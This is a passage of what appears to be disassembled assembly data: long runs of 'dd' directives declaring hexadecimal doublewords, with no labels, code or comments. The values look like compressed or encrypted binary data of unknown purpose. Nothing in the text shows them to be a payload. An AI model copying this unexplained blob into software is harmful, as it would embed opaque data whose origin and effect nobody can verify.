		dd 9481D050h, 27A11B77h, 40C83632h, 0B100DDB6h,	0E4318098h
		dd 1DE10AA9h, 7B11BE99h, 4CA003FAh, 8C955478h, 0EF7F12B0h
		dd 70EC8100h, 688D53A4h, 0BC293B17h, 0C43E5200h, 210D1207h
		dd 0C02CF41Eh, 0CC3FF900h, 3E951F0h, 72E580Eh, 0C0FF210Fh
		dd 2462DCC6h, 56001D76h, 0B2947512h, 0AC5BB3h, 6B9B901Bh
		dd 9361A28Ah, 3BF9190Eh, 53B9639Eh, 2642E82Ch, 0DD330A7h
		dd 1D184460h, 80198D3Fh, 1F8EE0E7h, 14560AE1h, 0C0CA746Fh
		dd 0BA673280h, 6C603E44h, 438AB688h, 0FBC5031Ch, 0FC35BE10h
		dd 0C480ACDAh, 8B0B513Bh, 0A819A4A0h, 0C903E476h, 0B090F5EAh
		dd 0C2790E3Eh, 0ED6BA5E5h, 41699A80h, 9F00707Ch, 0DA404CF4h
		dd 3E0F216h, 0BF2F15FCh, 89E66966h, 0EF03F4B0h,	0CD635AEEh
		dd 95A80A14h, 0C0440A9Eh, 17949C2Dh, 1CB9700h, 80346539h
		dd 749807AFh, 29B01429h, 0EAED2800h, 0D7606D82h, 0ADCCB511h
		dd 0D1D30053h, 6508F163h, 932ACBB0h, 3A008049h,	3782DEDh
		dd 1BF777h, 0DFCB0CF4h,	93BD4889h, 66D47407h, 58B09D5Eh
		dd 0E28DF5EFh, 1ECF7704h, 40F0BB46h, 0A6BF4F17h, 0FC00410Bh
		dd 77F389EAh, 0E65A43DBh, 65E800CDh, 48A447F6h,	2A029C20h
		dd 0E4985753h, 11BC900Eh, 0B6029DFh, 0F75E40D8h, 1367052Bh
		dd 0B5D055D0h, 0E7E459h, 5766B427h, 0D8C03E6Ch,	4DAC40Ah
		dd 0E48E64F6h, 28E67F30h, 0F844FC80h, 30E835EEh, 8950123Ch
		dd 0A806BD0Dh, 9A37F9Dh, 488A089h, 71300A6Bh, 394013Fh
		dd 130C8C55h, 29D653A0h, 39C72B07h, 69D370F6h, 527801DEh
		dd 153594F3h, 1FDC4091h, 590FBD85h, 42CB90B7h, 0C0CF485Bh
		dd 73A0A48h, 97DFF3A6h,	659F20D1h, 3909D1Bh, 7E00F6E2h
		dd 8C5D46AEh, 3BE15D0h,	67A55263h, 68C01BF1h, 2DFE2B1Fh
		dd 0A6C3CD28h, 0DF0C0300h, 4624DD13h, 0EB8D008Ah, 0A02EFEEFh
		dd 0C7EE194Eh, 0FF1271E0h, 5D07BF62h, 0DAD0CD8Ah, 3F3224h
		dd 0A876945Eh, 7C0CA5C5h, 0F4BB03Ch, 4F66F464h,	13376021h
		dd 0E0D6AACAh, 0EB4A0058h, 0D7F3A1DEh, 7A7347E3h, 0D96D4B00h
		dd 0D4DF34BDh, 0D5E607E7h, 50CB0A69h, 2193873Fh, 17ED2700h
		dd 3BBFB1DEh, 0EF670373h, 2CC35279h, 88637EA8h,	96FC0B00h
		dd 0A448956Ch, 0F07F00E8h, 3D30C015h, 0D46046B5h, 0FF1F44C0h
		dd 76E500CBh, 0D6BC170Dh, 0FD1FDCBEh, 6041E040h, 7951D48h
		dd 0FC3160h, 0CC3D0B7Ah, 24F1C38Dh, 29F80603h, 0F0600D5Eh
		dd 1D038A66h, 81C7F0DAh, 1B6B8CF6h, 49A8E7F7h, 0CA3ED5B4h
		dd 0A818A81Ch, 51C73F00h, 0E37C402Bh, 0D9F70F39h, 0B260ADBBh
		dd 0C8B83C36h, 6900CFE0h, 0AED8A1E7h, 158CEDh, 58075B8Dh
		dd 5008FC65h, 0FD068800h
		dd 0DDE3A49Bh, 553F0028h, 0B3CEA3C7h, 680EC89Eh, 0C2B754DFh
		dd 85D9A764h, 0B0002CD8h, 50306A71h, 0E2361D02h, 77A083FCh
		dd 480B59Dh, 55001C0Ch,	65D4C22Eh, 3C767B88h, 439492E3h
		dd 7A80D05Fh, 48BB6064h, 39007C74h, 0E37DE1A1h,	18514BE0h
		dd 10E6DCF8h, 0CC00806Ah, 3581A438h, 3C75EDBBh,	26000EFBh
		dd 8A49EF33h, 0D71E6956h, 0E192A66Fh, 469C0840h, 12D4371Fh
		dd 0F39740h, 0AF035D24h, 0D743025Eh, 0C812FC04h, 45C843Ah
		dd 0FC3622D8h, 4FBF0148h, 0E97A9F38h, 0F23370h,	0A38A3C77h
		dd 8999CD42h, 29C9E50Ah, 2F86B021h, 81FFADh, 121393FAh
		dd 1827898Bh, 4DFDBC1Ch, 2B046B80h, 0D144D6h, 62DE10ACh
		dd 5ED902A4h, 0BB6E070Fh, 6200D7AAh, 0C983CB7Ch, 0C1A207E9h
		dd 40C4CDB8h, 290EA471h, 0A9956D38h, 47006C66h,	67406234h
		dd 7D7606C7h, 0E08CFB35h, 0EAEEED00h, 0AA06B047h, 765426D0h
		dd 703200BAh, 158BC304h, 0F94F18C0h, 50E595FDh,	7D3B44BAh
		dd 1C20928Ah, 81DE0446h, 379C0952h, 0F798C3F2h,	1C24AB4Dh
		dd 0A4964BDh, 0ECE09804h, 12DF30F5h, 0E32E433h,	740A8264h
		dd 6E013FA8h, 0B56431BFh, 22A050B7h, 0AE1C152Ah, 994050EFh
		dd 0B4F597F0h, 89AD05A4h, 0AE987D91h, 0F79BA8C0h, 54560757h
		dd 6076BB12h, 8E746BCCh, 4A622E01h, 391ED585h, 0E22E40E2h
		dd 49540A21h, 0B82D50h,	1B3801CAh, 0CC1A3BE7h, 80F226D1h
		dd 728F2818h, 0E5590099h, 0D3611817h, 4D1E6BCAh, 2B0390A6h
		dd 1CD5EAE7h, 4502E0h, 6F763538h, 5E1FC213h, 0BC8282ACh
		dd 0C3701B8Ah, 5B86001Dh, 3314E625h, 900A0DFh, 0E4CC5802h
		dd 85FEBh, 0ED8FD9C4h, 2EBBD781h, 9976EAFAh, 47BFD02h
		dd 486156E2h, 508C2D8Ch, 7B80D0F9h, 62D11F37h, 0D5C94394h
		dd 0A800E127h, 39688A4Bh, 0F0F2938Bh, 3A890051h, 0D99F4AB8h
		dd 1A3CD275h, 0C15080EEh, 6EE7106Fh, 0F1CD3BE8h, 57B98D00h
		dd 18AF78C2h, 67019FEEh, 43FA8BB3h, 602C5Dh, 0D4300E5Bh
		dd 0FB002FACh, 9CE4A7A4h, 0F0415828h, 464BDD13h, 0DC7A4100h
		dd 24DF905Eh, 8FBC5DD1h, 7BC08A47h, 0EFCD6BFh, 0A840E950h
		dd 2C6CE349h, 828334DDh, 525783DCh, 0AC02C39h, 0CF338CE7h
		dd 9907A8E6h, 0BF50B181h, 0A498B824h, 0A30903B5h, 4801746Eh
		dd 57E49FF8h, 0DFF2ECEEh, 0CB1C021Ch, 8D83E21Dh, 34568F2h
		dd 0FCFA07E9h, 5C08B71h, 8D008CFDh, 61381EA0h, 9A4DA809h
		dd 0E7D30748h, 801DE987h, 0BBB040A6h, 340013E2h, 0C51EA8C7h
		dd 1D38AD6Eh, 8EC4C1h, 0E00C2E29h, 0D300E575h, 0DA8DF1D0h
		dd 3CFDD973h, 0DD1C5F45h, 44445C69h, 0C2F63753h, 0B4C0ADB8h
		dd 271C5FEDh, 404C963Dh, 0EE6A85Eh, 8F42CFBFh, 2A88BAAh
		dd 2A21E398h, 0CC75A4A4h, 649A477Ch, 5420C002h,	0C03932A9h
		dd 3E7D6600h, 23276CBh,	3C456236h, 1B234F00h, 8F2C5Fh
		dd 0FC9B2B19h, 339D1D20h, 0BE779000h, 2A48BAC0h, 8F8A3A21h
		dd 0D9AAEA00h, 3A873004h, 0C245E30Eh, 0EFCC205Ah, 581FA18Ch
		dd 3320C17h, 10C8D6E1h,	0B41EDD67h, 80B98424h, 0E674985Ch
		dd 52F620h, 35ABC0DEh, 0D21F8F89h, 0BAE7F901h, 0E908C52Ch
		dd 40987414h, 0AF7D7134h, 1C2D91C0h, 0FA2F8F0h,	16D8AE07h
		dd 3DBA720h, 9038C45h, 19F10D36h, 75DDE10Bh, 0B225F6E8h
		dd 0D86E0EC4h, 45B25CF9h, 844B4678h, 9F68DCCDh,	0FC059D74h
		dd 558D88F4h, 7080C3C4h, 993E6CF1h, 0B44A00F4h,	1969ACE9h
		dd 24DCFA01h, 51D9F0A6h, 9846EC0h, 0D7975FA0h, 0C8084CA9h
		dd 0A6DE6344h, 0ADF47097h, 6924CC59h, 5450943Ah, 0FBCA44Dh
		dd 9A8D5F6Ch, 0CB0F8582h, 9B8B306Fh, 0EE8C8012h, 3A1B488h
		dd 0FF2D8AB7h, 53E882E1h, 0DA00FB3Fh, 15D1A434h, 9435451h
		dd 0F1729BC0h, 713AE087h, 60276E46h, 5A0E9094h,	32F89C43h
		dd 50341C80h, 0CEAD00FBh, 0BE7FF9D3h, 0C700B819h, 0FD63D939h
		dd 0C3F5E4h, 5E44ECF4h,	78CE89Ah, 7887C41Dh, 846B283Fh
		dd 815A4B0Eh, 63BA0759h, 0EC9B21E0h, 1CECC089h,	2953C42Ch
		dd 1812171Fh, 69D6C207h, 97800C84h, 26A3BC6Eh, 0D036C8h
		dd 0FB2FC0EDh, 0FFF2FDF0h, 0EC4EC50Bh, 0BCD4307Ah, 0C4FC3F32h
		dd 0B303EDBAh, 2434A695h, 3428CDBDh, 0B6006A6Ch, 0EA11D31Ah
		dd 12340C92h, 4050BD3Ch, 70440A04h, 5092E097h, 0B0DC3952h
		dd 41E679h, 0AD6B05E5h,	0A66038BDh, 49367F02h, 0E0540173h
		dd 0D2FD60h, 8B769E56h,	0BA2C65B2h, 0F2953Dh, 274B492Bh
		dd 5C4DB62Ah, 7880FC39h, 0F9E8468Ah, 0EF2CD492h, 970018FDh
		dd 0B3049961h, 0D0530047h, 83B13F71h, 19096DD6h, 2AF22ABDh
		dd 5F47CCE0h, 0ACEEE250h, 6EA10FCDh, 0BCB73Eh, 0D2A96720h
		dd 0F018E35h, 0AC2B16E0h, 38C8A46Ch, 9084F4BFh,	15E4B38h
		dd 88F50114h, 0C208644Ch, 7453220Ch, 1CB2E00Dh,	41BFF72Bh
		dd 0D3DAAB04h, 455DCC9Dh, 49E37700h, 73FA6BA7h,	8EC34h
		dd 0D895601Ch, 24CC3CF6h, 0C015D607h, 0CDA166BCh, 70E8CAh
		dd 0AB7122h, 54B9A440h,	0F33CBDCEh, 0E4CA059h, 80615184h
		dd 0C22E2B09h, 2F1707CBh, 0D2190150h, 0C46B7299h, 0D2D708B0h
		dd 0E0274Ch, 0F0457FFFh, 550F12h, 0F835E806h, 6F142CFEh
		dd 391178B7h, 2218CBC7h, 3A0A4095h, 0E1D3AC1Dh,	0E447F380h
		dd 1364FE8Dh, 23C565C2h, 4290FBD0h, 3A3F22F7h, 0EC55261Ah
		dd 0C114B880h, 1081066h, 1545AF99h, 60413EF9h, 913EFF48h
		dd 0C08182FCh, 0E0A39BB8h, 24010B98h, 15F80902h, 0FF00C439h
		dd 7E3050CDh, 0BD0092D1h, 192EA5D3h, 0A05D0BB3h, 779CC8h
		dd 7DAE9011h, 0A41D7BBAh, 0A8A69901h, 45B6E29Bh, 0EC107D61h
		dd 94E68ED7h, 72E8A070h, 7D18C9D6h, 0E1A098B1h,	0DEA45184h
		dd 2E0CF3Eh, 94D11ADh, 81813EECh, 715D41B1h, 78808DE5h
		dd 50CFFBD9h, 0B20F6965h, 978F8B85h, 2FFF3801h,	0D99CAE5Bh
		dd 0AD2384FCh, 8958941Ch, 0EDB1E3B0h, 0F93CD4CFh, 2282F4Ch
		dd 7C24A161h, 4E88CC7Bh, 8A047249h, 67F692C0h, 0A502BA02h
		dd 0E16E2BD7h, 60CC1CF8h, 0D0490E94h, 4D027957h, 3C5B5564h
		dd 5B8180AEh, 623923E7h, 8C5CC5F1h, 2D6B1F9Fh, 158700C4h
		dd 194C7ECCh, 83C03138h, 388661ADh, 8079E271h, 0F06D88E8h
		dd 4AC80B26h, 840004FAh, 0ABF912B6h, 9BBA2200h,	9430C3Ah
		dd 7C5E03C2h, 0DF04D32Fh, 6BBDF802h, 0C8301037h, 3243D530h
		dd 1F9849B1h, 2F54C2C0h, 0E2E3C100h, 3651FE2Ah,	10B00F90h
		dd 75C009B8h, 0D9DC9F5h, 927C5F0Ch, 637C0C2h, 0E1031811h
		dd 7B12D1BDh, 50C066E2h, 54F1975Bh, 1750FC85h, 760711h
		dd 0A36A7CA8h, 0C96E426h, 0B6433D07h, 0AD7F7360h, 0E16400D8h
		dd 5BA5D7FBh, 8001D37Ch, 904CDCB3h, 6C3828EEh, 0FA116200h
		dd 44850130h, 0D4DF4226h, 691DFB04h, 44864E1h, 7E030B06h
		dd 24A96689h, 53C0588Fh, 27F0606Ch, 0BC2E7800h,	59890E97h
		dd 0AC7C9E02h, 944C029Ch, 0DCB8AA85h, 1A029031h, 3656DF01h
		dd 23C0E0E4h, 0D38705F7h, 8E6324F0h, 928069BCh,	0C910E150h
		dd 0FF678D8h, 7FFDEC5Ch, 7D1B9F20h, 86003A8Eh, 1E55A6B6h
		dd 583B3C90h, 491C906Eh, 0F4B24109h, 3056EEB5h,	9916C7D4h
		dd 6D00DC5Ah, 0F1AD59D0h, 6CA80FB9h, 47A02D5Bh,	0D12B3F92h
		dd 0D6B8FA00h, 9D2F8DA9h, 0C0AC5424h, 0FD660FDFh, 90009550h
		dd 811E3C27h, 7B267505h, 0F090D0ADh, 4ADF9C44h,	0E93C00B1h
		dd 0F9E3F31Fh, 61D4783Fh
		dd 16D23A48h, 19C282Dh,	5C045002h, 614961E6h, 734C2D18h
		dd 6C05852Eh, 0BDAF8A00h, 999A73h, 0A413BEE5h, 1B86EAE9h
		dd 5433DE00h, 2D0D18CFh, 2B78F41Dh, 0F40796h, 1324DEBFh
		dd 4494B1BBh, 0B8A04444h, 751E2728h, 0CA668020h, 60041AA8h
		dd 32CEA14Ch, 9D0660E2h, 0D1D2C0EEh, 0C914C300h, 0F3700580h
		dd 0F10F00A5h, 30908903h, 0BC48DC21h, 7EF802CCh, 681AAE91h
		dd 0ED3E2364h, 0E0EC7070h, 97892D6h, 8B318362h,	91C1CC8h
		dd 526EB115h, 879A0294h, 46D37375h, 99ED0E1Ch, 5140A7E8h
		dd 0CFE53CB6h, 9FD26D00h, 6F71D15Dh, 0D73A1DA9h, 0F4BC8013h
		dd 4FE307A7h, 1FD66300h, 50E885F7h, 87B7008Ah, 997A1C70h
		dd 410EE90Dh, 0E0598B7Dh, 0F01B4CF4h, 68851F07h, 0BE71414Eh
		dd 8F984F48h, 20BA7920h, 152A0F3Ah, 0E1CA03C5h,	0DAEC9A55h
		dd 95A568C0h, 5370B160h, 60BC6FAFh, 3E7388Ch, 0E3605D8Bh
		dd 1CBAAE11h, 0ABF81FC7h, 0BD67C063h, 0CECCE533h, 48CF69E2h
		dd 4E2B9Eh, 0C807F7F7h,	91DD006Ch, 2D350B66h, 2503EEA4h
		dd 848DDC23h, 0D518F8B5h, 7DC100F4h, 94EB7312h,	0D400B95Bh
		dd 0ABB09964h, 529646DBh, 28024C54h, 3F22D4F5h,	0ACECA580h
		dd 8D04B715h, 0D16F6B4h, 5F4B53C0h, 702A0617h, 38C1E652h
		dd 7ECD5D00h, 0B1E54A21h, 2007002Ch, 682A6184h,	5414DFBAh
		dd 84DD99h, 882D466Eh, 3E20B86h, 0B4CCC7FBh, 5813A849h
		dd 6D009C24h, 93C31A09h, 0D5AC1FDDh, 8F60E57h, 703D100h
		dd 0FF03E5AAh, 0C377AA9h, 7196F02Dh, 4B7EB1h, 0EAE414F7h
		dd 85B6D608h, 1E7CD8E9h, 0E916FD01h, 3DF93163h,	8E291180h
		dd 788F3948h, 0E6F1B0Eh, 0A8D528h, 8B41709Fh, 1433AF52h
		dd 0AC649C84h, 23474E02h, 0B4A0DA55h, 6FFEE715h, 0ED682450h
		dd 0D8D17C00h, 0C06A0C76h, 0CAEF0130h, 786CBA9Ch, 931441AFh
		dd 6A8482Ch, 0F232B8C0h, 4BEACD4h, 78B1F971h, 0E134001Ch
		dd 38F80A4h, 0CCE994E5h, 9102A915h, 1DFAD9B4h, 25C480FFh
		dd 0F2BAF6D2h, 0B1B7124Dh, 645E7Eh, 2AC4027Dh, 2812F94Ah
		dd 220016A7h, 527B0C78h, 73F80088h, 0AAFC7C04h,	0EC2CB955h
		dd 9500A490h, 7497998Ah, 3865481Bh, 8380B1C0h, 280127A0h
		dd 6981732Eh, 26DCAC22h, 57F900E0h, 0A3EAC82Ch,	42035D05h
		dd 0F61CFECEh, 1DD0CF07h, 37C1F1E1h, 71502399h,	213BDEACh
		dd 0D571C8C8h, 0B503BB12h, 2F440C43h, 46CF8EAh,	65BC2A81h
		dd 0ED1105D8h, 42AF28E7h, 857A95E8h, 4E20C08Fh,	0FBF41D5Ah
		dd 0A36D4C01h, 0D335E983h, 3442EF4h, 0A50E09B6h, 0D1148B64h
		dd 803801A4h, 636A2EEFh, 8E9126BAh, 2B220018h, 9A18974Ch
		dd 0D0A60200h, 0FA19B695h, 0FD4926Bh, 766F788Eh, 26611E20h
		dd 0E1009977h, 0A0989CB6h, 9F808Bh, 0D5665616h,	38F0155h
		dd 4D838203h, 0F0846935h, 1E53B86h, 9C5E2A42h, 0EC64E163h
		dd 6C0F0314h, 602B3E1Eh, 7E656E2Eh, 92FE20Dh, 0BB284B0Ch
		dd 9873BC00h, 0FE0077EDh, 3DEB112Eh, 2CCA1F0h, 0DB2AC1FFh
		dd 74684306h, 0E492A9E7h, 1EE8B953h, 0E5187D82h, 860CF1h
		dd 453444D9h, 4704EBEFh, 0F9CA4A00h, 1AFB28B6h,	0C3840296h
		dd 46D922F2h, 897A6BC0h, 7F039400h, 9EFBA65Ah, 6CEE0099h
		dd 0CEF02B3Dh, 7800C67Bh, 1C382A3h, 1486B3h, 551C8C84h
		dd 0A1C7C02Bh, 0FE715C00h, 0C1D4E15Eh, 0DD9C0096h, 2095CE6Eh
		dd 0B300036Bh, 0E3AD0235h, 1C2714B7h, 0C0A1246Dh, 41711962h
		dd 0D1008F96h, 0C7DAF281h, 17F6B98Ch, 0E616C22h, 376069C0h
		dd 20B12D0h, 0B3FDB100h, 65A024C9h, 28340001h, 0D3E4E83Dh
		dd 1A008AB8h, 0BF8CFC31h, 1C0CDC4Fh, 216E84h, 0F9ED629Eh
		dd 3E1C566Bh, 0B7C75FE8h, 7D90CACFh, 23DB73h, 0D650D8B8h
		dd 0BDAC5E5Ch, 0C8001BE8h, 915717B7h, 0D82252h,	19091A4Bh
		dd 241D38D7h, 0E64F6D00h, 3EAEA343h, 2A1C00Bh, 0EA573BD1h
		dd 0B9C69C39h, 405B80CAh, 26C53D19h, 37770355h,	1DC4C58h
		dd 75EC4DC8h, 7B00B3F0h, 686BDD1Bh, 5C9F54h, 0D2D65FBEh
		dd 6F7D830Ch, 4B3AE701h, 1C4EF553h, 0C0324683h,	0C6D0C215h
		dd 9C0056FDh, 550F9050h, 9B739Fh, 0CB10DCCAh, 0F3DE9389h
		dd 0B1A65B01h, 0FC01BE6Fh, 0E2B3F850h, 11E53ED6h, 36B00330h
		dd 1F54F2A7h, 1B0056E0h, 15BF5F5Dh, 0D70831h, 0DF205332h
		dd 991CAB48h, 5D8439h, 794F6CECh, 921E6697h, 82940010h
		dd 0FC154ADBh, 0F2008D4Eh, 9C101C59h, 67AAB861h, 0C205295Ah
		dd 0F2FCE2F7h, 42FABB01h, 8ED03E77h, 88CA602Ah,	57339652h
		dd 0CD36AF00h, 0F2DD16D8h, 35A81886h, 3431B8AEh, 97FCCCA0h
		dd 6F1A0512h, 1CB34467h, 29E3BEh, 0BF15D420h, 328ADD70h
		dd 118FA500h, 0F71E2CB0h, 0A4FB034Eh, 5CB8A3D9h, 0B72FB009h
		dd 0DAEB00E8h, 0D5686Dh, 52295079h, 16EB7AB4h, 0C0394600h
		dd 0B6C83275h, 0ED705Ch, 443F87BDh, 22079BC3h, 854CB501h
		dd 58B7B290h, 76D6C8F4h, 0A97400C9h, 0D463BF36h, 0A3792C2Dh
		dd 0FF8EF102h, 0FFC0E50Dh, 1134A160h, 0EC795D1Fh, 331F1241h
		dd 0B0207E53h, 0EA240095h, 6F4B7FB4h, 8600614Ah, 3BAF164Dh
		dd 80F327h, 3A7565B5h, 25907CC7h, 945BBB07h, 0F6C0F57Fh
		dd 61BDED55h, 9ECCD8DCh, 0B40BBB0h, 0B7066Fh, 0AD2F7FFEh
		dd 1E590789h, 80A8A123h, 6EAE5011h, 9539C600h, 0D6B25462h
		dd 142D00F1h, 448C1BF8h, 4F779C29h, 0AC3BA301h,	3EA47591h
		dd 0BC47F880h, 0EAC4D28Dh, 0CBE6C200h, 3BE4F9E8h, 991E3FFEh
		dd 19BD7380h, 0FB068774h, 0F328B660h, 0E27F67E1h, 483D603Eh
		dd 6277930Dh, 0B8F6560Ah, 140F848Eh, 25CDA08Ch,	1E4020Ah
		dd 0A32F034Dh, 9EDDCBD3h, 0CF9C7C64h, 0C0C47000h, 11B4965h
		dd 0CB79A13Ah, 0E0CA9A42h, 5F00C990h, 388336FFh, 4748A03h
		dd 0A6C5987Ch, 0C0AB8762h, 45EDD569h, 49FA50C0h, 72CD6A28h
		dd 6B7A14E8h, 0FA805426h, 2F54FC3h, 0B1B5EA05h,	10307C0Fh
		dd 742A170h, 92405E18h,	97CAF004h, 0C438F349h, 7058E55h
		dd 7A36609Ah, 356D06h, 0C2E50363h, 78A633EEh, 7CD73B2Ah
		dd 42EF8D00h, 0BE6C4BB0h, 639F3DDAh, 305DD592h,	9E41BB1Ch
		dd 0B503DDE8h, 0E423EF13h, 0C42BA8F2h, 78442C5Dh, 70A60270h
		dd 0BBC057F8h, 8606D7C6h, 432E7D16h, 247FF069h,	470AA2Bh
		dd 9CE57ADBh, 0C8ACF024h, 0F95D8D00h, 12B00E32h, 0BC351F2Fh
		dd 93E40D9h, 1420EBEAh,	9CADFE02h, 948BC94Ah, 852C3AF8h
		dd 310ED180h, 9E568AA0h, 0ECFFD22Ah, 263F0800h,	602102D6h
		dd 29490057h, 0C7FD2734h, 4D005014h, 8FE5D933h,	3F7E92h
		dd 7AEC3909h, 79D1E84Fh, 4AE77600h, 0C163493Ah,	0E3DA009Fh
		dd 48E55A77h, 62000672h, 0B5761C7Dh, 39609998h,	7181073Fh
		dd 320F6A6Fh, 0F68420FAh, 90D48100h, 362BADF5h,	0EBB0C3h
		dd 177A6BFEh, 7D1401E0h, 649CC800h, 3D664F11h, 0D90C24B1h
		dd 60A400F8h, 0F3E4FB36h, 0D6B9EF00h, 0E6935E61h, 8890497Eh
		dd 0DA5215C2h, 3C00B894h, 257D21CDh, 40B3767h, 8BD3D99Bh
		dd 40B499CAh, 0BB6A0294h, 0F545500h, 3576D5D4h,	0E6D13137h
		dd 0EC7E0378h, 17007561h, 0CD21DED0h, 6B4B7Dh, 0ED32BF7Fh
		dd 0C5D4AFECh, 0C06590CFh, 0FB9F6383h, 0B55B0C5Fh, 0F0CC9017h
		dd 0F2284460h, 3F58C2F8h, 3A809EB0h, 6F7FE403h,	0A2E85EF9h
		dd 8C1D020Ch, 2F21845h,	26CA9F30h, 7466B431h, 8CADD000h
		dd 0FE4EDB7Ch, 5C31EF3Ch
		dd 5F61E8DFh, 88331342h, 0CA8800EBh, 5F35EE2h, 719F4A0Ah
		dd 60CFF0D5h, 3B362A7Ah, 42890053h, 9E4D6FA3h, 0D1004C47h
		dd 4018B527h, 0BACF43h,	0E1601161h, 624B46A5h, 5C010900h
		dd 6CD7F53Ah, 927D012Eh, 163FFC49h, 0A1803432h,	80637F3Fh
		dd 87BCC8D3h, 8A750Bh, 21EE70B4h, 6A9458C9h, 0EDD1BE01h
		dd 5A2A1CCBh, 3D83F8B8h, 9E7AA2C7h, 730BD3A0h, 0F5DC4D00h
		dd 0CAEB10D6h, 40DAF9ADh, 0CD7B8Ch, 0A341F9D9h,	5179D22Dh
		dd 0B800AFE8h, 3B9D5A2h, 2619B229h, 802897B4h, 7D8CD0ECh
		dd 7500FDEEh, 7BD62C7Ch, 72A605C0h, 0B8853C92h,	0B823393h
		dd 58381A04h, 301175Eh,	2B204CB8h, 0E8F0CAFBh, 69EA2663h
		dd 6093E778h, 0E3DB7EF9h, 68D80800h, 89CF1AA4h,	606A9853h
		dd 226E681Fh, 0F012451Eh, 8000CC33h, 0F86263EEh, 4E885h
		dd 19F22D6Ch, 0DD799D31h, 1CECEC50h, 789CF12Dh,	0C567076Fh
		dd 54E36273h, 130C02Bh,	1000E8EAh, 42C46ED4h, 9C9EEBDh
		dd 9B444B51h, 3177D0A0h, 78007EA5h, 0B1E24956h,	744F5FD7h
		dd 0CA260012h, 532E6D3Eh, 5250CBFAh, 0A1003BE8h, 2AC5E7F3h
		dd 721A997Eh, 10B20062h, 0CC6964A4h, 0D03EE070h, 7EDC00A7h
		dd 2E8FF215h, 1F4C9AFAh, 40D3FDB4h, 0E0A96384h,	0A800B0F1h
		dd 0C967C642h, 6DFEC5h,	9C34CF60h, 0F9C8D20Fh, 0A3B2FC00h
		dd 0AA044D59h, 65CE0EAFh, 52E09FDBh, 0AC9492FAh, 960D2000h
		dd 4CA2089Eh, 8178FCh, 0A4DB8419h, 5886301Dh, 0E1FE7800h
		dd 0ACB00152h, 755D1D23h, 0E8BE0057h, 21F1E47Ah, 198E3D00h
		dd 9EDFD810h, 0B1515CF4h, 8300C64Ch, 4F07ECC6h,	55003DEEh
		dd 67401277h, 900BE26Dh, 934107B9h, 0E06CF87Ah,	0D327997Dh
		dd 87B0BA00h, 32845D7Bh, 419E16B5h, 3C6F1F60h, 2A4B3D02h
		dd 7BC1F0BEh, 7A5881BDh, 0FE68199h, 0CDD9F1C7h,	428EE0h
		dd 0F3CB82E8h, 4F657F4Eh, 0D645B400h, 3A6EBB7Ch, 0C7C100F4h
		dd 3944C3Ch, 420081A3h,	0BD558EC8h, 1FC3D0h, 518018F1h
		dd 9784331Eh, 284B70DDh, 5849800Ch, 0F90F64B9h,	7F13DD70h
		dd 0A7101C2h, 634E0D7Ah, 0A69BF39Ah, 0C2736901h, 0EB06D1C5h
		dd 0E03BA5F8h, 6B3F0041h, 0FBF8992Dh, 5B781A09h, 5E010300h
		dd 4B39428Fh, 8E5D0E7Fh, 2443A5FDh, 90F7ED78h, 0DCFA6F6Eh
		dd 42437400h, 0FD06C021h, 0E39F0065h, 612D558Dh, 53009159h
		dd 0A3E7E440h, 0CA976Ah, 8680C4CFh, 241F7B0Ch, 28036Eh
		dd 8E7429D7h, 704D3D89h, 0A71ABE80h, 3A51CFDAh,	6605780Eh
		dd 0DCE9A387h, 94BBA87Ch, 0F2CB175Ah, 8A00FFC0h, 6A73401Eh
		dd 2D0F5C03h, 0D5393002h, 99E2AAD2h, 9000C28Bh,	0E7B7CA2Fh
		dd 5DD93600h, 0A9E1C7C0h, 65BA014Eh, 524ADBACh,	0F5D621F9h
		dd 0F11C406Ah, 5E02D420h, 298323E8h, 7542CBh, 429856A4h
		dd 0B4850CDFh, 0CD1E441h, 9116C30Eh, 0BDDAA0A1h, 3D18A023h
		dd 2A039915h, 4A02C7A3h, 0C08D3AC1h, 0B0037674h, 33E4713Dh
		dd 0FD80F97h, 0F0F89520h, 0AD3C6849h, 0E842B7A9h, 0B5C8D670h
		dd 0CB640072h, 5359E5FAh, 811DDA01h, 3DC360B3h,	72A9B08h
		dd 0CBEA10F0h, 0E5123087h, 0A87E1A74h, 4B4CEB00h, 0DE8666A3h
		dd 0D1A8C030h, 696A3B2Fh, 0AE248D1Dh, 1DCE2AC0h, 0FD4191h
		dd 4D6DBCE6h, 0D8DADE02h, 0C6F62100h, 3F1C597Fh, 655400B0h
		dd 0E4186D04h, 6100E6AAh, 0C1D5FDBBh, 2852CF6Eh, 75A42C47h
		dd 0E7BC00E8h, 9639297Eh, 0CE3FE07Ah, 54F2A499h, 7D3D8D01h
		dd 0C040C847h, 13F78Eh,	22D6CD78h, 7A74E425h, 0F2BB3403h
		dd 8F2B88E5h, 3C0AA86h,	59039ABh, 8EC177B4h, 0B82C48EDh
		dd 7E799F01h, 0D7295452h, 6381F8h, 0FC33181Dh, 7A16C0C3h
		dd 0F4008E7Fh, 0A5841E76h, 0AB417EBh, 9597463Dh, 83803CCCh
		dd 404C24D0h, 3CAE08A4h, 6B033CE6h, 0FFD16ECDh,	2787C86Ch
		dd 0AC3D00B1h, 0BDFCE0D8h, 6D745F38h, 0FED09C50h, 0B80B7024h
		dd 677BC101h, 3082E9E2h, 2585872Ah, 0F986E8E0h,	179D5702h
		dd 4416DADFh, 6A59090Ch, 0A838A192h, 9A39A726h,	883B854Eh
		dd 0A514E6F4h, 717809E8h, 0FF0C2043h, 884F6Fh, 25C98A41h
		dd 0A601DED9h, 0C3FEA300h, 3722E1EFh, 0CFBC052Fh, 0A207C4Bh
		dd 805807E0h, 176E9EE8h, 0B401E53Ch, 4BC32732h,	54204481h
		dd 4F3A3B29h, 0AD406A8Fh, 7B24D820h, 0E7289396h, 8A009420h
		dd 89A9D974h, 1237101h,	26992444h, 205DDF69h, 0D9718AB4h
		dd 8146D838h, 0E255FEEEh, 0E4ECF63Dh, 0A5A4007Bh, 6684A3Ah
		dd 0C70319A8h, 0DE090864h, 0D69CC16Ch, 0FCEB0430h, 0D765003Ah
		dd 0CA912F7h, 0C100AD3Fh, 58A20A81h, 11AE79h, 55FC436Dh
		dd 0DCC96B8Dh, 91284B1Eh, 6635D340h, 90E9BDE7h,	0B47A5325h
		dd 873C0077h, 56B0B84Eh, 39EE907Ch, 0DDEAEB72h,	8EC13505h
		dd 9C01517Ah, 0D38FEA85h, 0D8F09443h, 2E35B2Dh,	0AA84C0E6h
		dd 0A0611156h, 4B3C34F8h, 8C08E500h, 0F7B2FBA7h, 49C000Dh
		dd 497356C9h, 8D0282C3h, 4D13E92Eh, 10F7824Bh, 0B5AC91AAh
